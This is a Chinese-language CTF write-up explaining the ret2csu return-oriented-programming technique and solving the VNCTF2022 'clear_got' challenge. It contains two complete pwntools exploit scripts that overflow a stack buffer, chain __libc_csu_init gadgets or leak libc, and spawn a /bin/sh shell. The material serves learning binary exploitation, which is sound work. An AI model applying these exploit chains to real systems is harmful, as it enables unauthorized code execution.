ret2csu
ret2csu简单来说就是利用一段万能的gadgets,可以控制一些寄存器的参数,调用call。一般使用ret2csu靠劫持 __libc_csu_init
函数,这个函数在初始化libc是被调用,所以动态链接的程序都会调用这个函数。
函数的汇编代码大致如下
.text:0000000000401250 ; void _libc_csu_init(void)
.text:0000000000401250 public __libc_csu_init
.text:0000000000401250 __libc_csu_init proc near ; DATA XREF: _start+1A↑o
.text:0000000000401250 ; __unwind {
.text:0000000000401250 endbr64
.text:0000000000401254 push r15
.text:0000000000401256 lea r15, __frame_dummy_init_array_entry
.text:000000000040125D push r14
.text:000000000040125F mov r14, rdx
.text:0000000000401262 push r13
.text:0000000000401264 mov r13, rsi
.text:0000000000401267 push r12
.text:0000000000401269 mov r12d, edi
.text:000000000040126C push rbp
.text:000000000040126D lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000401274 push rbx
.text:0000000000401275 sub rbp, r15
.text:0000000000401278 sub rsp, 8
.text:000000000040127C call _init_proc
.text:0000000000401281 sar rbp, 3
.text:0000000000401285 jz short loc_4012A6
.text:0000000000401287 xor ebx, ebx
.text:0000000000401289 nop dword ptr [rax+00000000h]
.text:0000000000401290
.text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 mov rdx, r13
.text:0000000000401293 mov rsi, r14
.text:0000000000401296 mov edi, r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx
.text:00000000004012A4 jnz short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn
.text:00000000004012B4 ; } // starts at 401250
.text:00000000004012B4 __libc_csu_init endp
主要控制的部分如下
.text:0000000000401290 mov rdx, r13
.text:0000000000401293 mov rsi, r14
.text:0000000000401296 mov edi, r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx
.text:00000000004012A4 jnz short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn
控制流程:
对于劫持到的程序的ret,我们可以返回到 0x4012AA
的位置(不需要利用rsp,所以掠过),这样就会执行下面的指令,即把数据对应rbx,rbp,r12,r13,r14,r15依次出栈。在下面的ret指令中,我们可以写入 0x401290
到前面的指令,为了继续向下执行call和jnp。call可以是我们想要跳转的地址,也可以不使用call一个空函数 _term_proc
(call一个函数,需要的是指向这个函数的地址,例如一个函数的got地址,并不是函数本身的地址)。而继续执行jnp,不需要让程序跳转,因此要满足 rbp = rbx
的条件。所以在最开始返回地址的时候,我们能够控制7个寄存器,通常就会设置为 rbx = 0, rbp = 1
。这样rbx为0不会影响到call函数的执行,之后比较时会把rbx+1,这样恰好满足条件程序也不会跳转。之后又会执行之前的指令(可以二次控制参数,不需要就填入8*7
的cyclic),返回时就可以返回需要的函数。
常见的用法为
call write/read -> .bss写入system,'/bin/sh' -> 调用system执行'/bin/sh'
由于ret2csu需要较多的字节数,所以需要控制好payload的长度
VNCTF2022公开赛clear_got
程序为64位程序
➜ checksec clear_got
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/micdy/.cache/.pwntools-cache-3.11/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.13.1)
[*] '/home/micdy/Desktop/pwnfile/clear_got'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
保护为堆栈不可执行
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[92]; // [rsp+0h] [rbp-60h] BYREF
int v5; // [rsp+5Ch] [rbp-4h]
init(argc, argv, envp);
memset(buf, 0, 0x50uLL);
puts("Welcome to VNCTF! This is a easy competition.///");
read(0, buf, 0x100uLL);
v5 = (int)&qword_601008;
memset(&qword_601008, 0, 0x38uLL);
return 0;
}
ret2csu
程序存在明显的溢出,但是在溢出后会清空got表,无法使用got表中的函数。没有办法直接使用ret2libc
程序还留下了两个系统调用,其中一个为sys_write
.text:0000000000400773 public end2
.text:0000000000400773 end2 proc near
.text:0000000000400773 ; __unwind {
.text:0000000000400773 push rbp
.text:0000000000400774 mov rbp, rsp
.text:0000000000400777 mov rax, 1
.text:000000000040077E syscall ; LINUX - sys_write
.text:0000000000400780 retn
没有能直接控制rdi,rdx的pop|ret
程序中有 __libc_csu_init
尝试ret2csu去利用syscall
.text:00000000004007D0 mov rdx, r13
.text:00000000004007D3 mov rsi, r14
.text:00000000004007D6 mov edi, r15d
.text:00000000004007D9 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:00000000004007DD add rbx, 1
.text:00000000004007E1 cmp rbx, rbp
.text:00000000004007E4 jnz short loc_4007D0
.text:00000000004007E6
.text:00000000004007E6 loc_4007E6: ; CODE XREF: __libc_csu_init+34↑j
.text:00000000004007E6 add rsp, 8
.text:00000000004007EA pop rbx
.text:00000000004007EB pop rbp
.text:00000000004007EC pop r12
.text:00000000004007EE pop r13
.text:00000000004007F0 pop r14
.text:00000000004007F2 pop r15
.text:00000000004007F4 retn
要利用syscall,还需要向.bss段写入'/bin/sh',需要调用read,而read的系统调用号为0,需要rax为0,但是main函数的返回值为0,即在main函数返回之前,rax会被设置为0,方便我们直接调用read,
再利用read构造返回值,read函数和write函数最后的返回值都是实际读到和写入的字节数(如果执行成功的话),而返回值会存入rax中,即执行 read(0,bss,0x3b)
就可以控制rax的值为0x3b。这样就可以调用execv获取shell
大致流程入下
gadget1,为read准备寄存器->gadget2,为read修改寄存器->gadget1,为execv准备寄存器,syscall执行read->gadget2,为execv修改寄存器,syscall执行execv
from pwn import *
p = process('./pwnfile/clear_got')
elf = ELF('./pwnfile/clear_got')
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
offset = 0x60
bss = elf.bss() + 0x100
syscall = 0x40077e
csu_gadget1 = 0x4007EA
csu_gadget2 = 0x4007d0
_DYNAMIC = 0x600e40
payload = b'A' * (offset + 8)
payload += p64(csu_gadget1)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(_DYNAMIC) # r12,call空函数
payload += p64(0x3b) # r13=rdx
payload += p64(bss) # r14=rsi
payload += p64(0) # r15=edi
payload += p64(csu_gadget2)
payload += b'A' * 8
payload += p64(0)
payload += p64(1)
payload += p64(bss + 8) # 为执行syscall做准备
payload += p64(0)
payload += p64(0)
payload += p64(bss)
payload += p64(syscall)
payload += p64(csu_gadget2)
p.recvuntil("///\n")
p.sendline(payload)
sleep(0.2)
payload = b'/bin/sh\x00' + p64(syscall)
payload = payload.ljust(0x3b, b'A')
p.send(payload)
p.interactive()
ret2libc
首先使用sys_write泄露出libc基址;
然后通过sys_write的返回地址由rbp控制的特性,控制继续执行mov eax, 0;leave;ret
控制rax,然后控制其他寄存器执行read函数,修改puts_got为system地址,puts_got+8为”/bin/sh”;
最后再执行puts(puts_got+8)即可。简单来说就是在got表被清空后重新写入函数的信息,在调用函数。
0x00000000004007f3 : pop rdi ; ret
0x00000000004007f1 : pop rsi ; pop r15 ; ret
mov_ax = 0x000000000040075C
write = 0x0000000000400774
_puts = 0x000000000040071E
from pwn import *
from LibcSearcher import *
p = process('./pwnfile/clear_got')
elf = ELF('./pwnfile/clear_got')
libc = ELF('./pwnfile/libc.so.6')
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
mov_eax = 0x000000000040075C
_puts = 0x000000000040071E
write = 0x0000000000400774
start_got = elf.got['__libc_start_main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
offset = 0x68
payload1 = cyclic(offset) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(start_got) + p64(1) + p64(write) # write(1, start_got, 1)
payload1 += p64(mov_eax) + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(puts_got) + p64(1) + p64(0x000000000040077E) # read(0, puts_got, 1)
payload1 += p64(pop_rdi) + p64(puts_got + 8) + p64(puts_plt) # puts(puts_got + 8)
p.recvuntil("///\n")
p.sendline(payload1)
start_addr = u64(p.recv(8))
libc_base = start_addr - libc.sym['__libc_start_main']
system = libc_base + libc.sym['system'] - 0x8510
print(hex(system))
# gdb.attach(p)
payload2 = p64(system) + b'/bin/sh\x00'
p.sendline(payload2)
p.interactive()
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)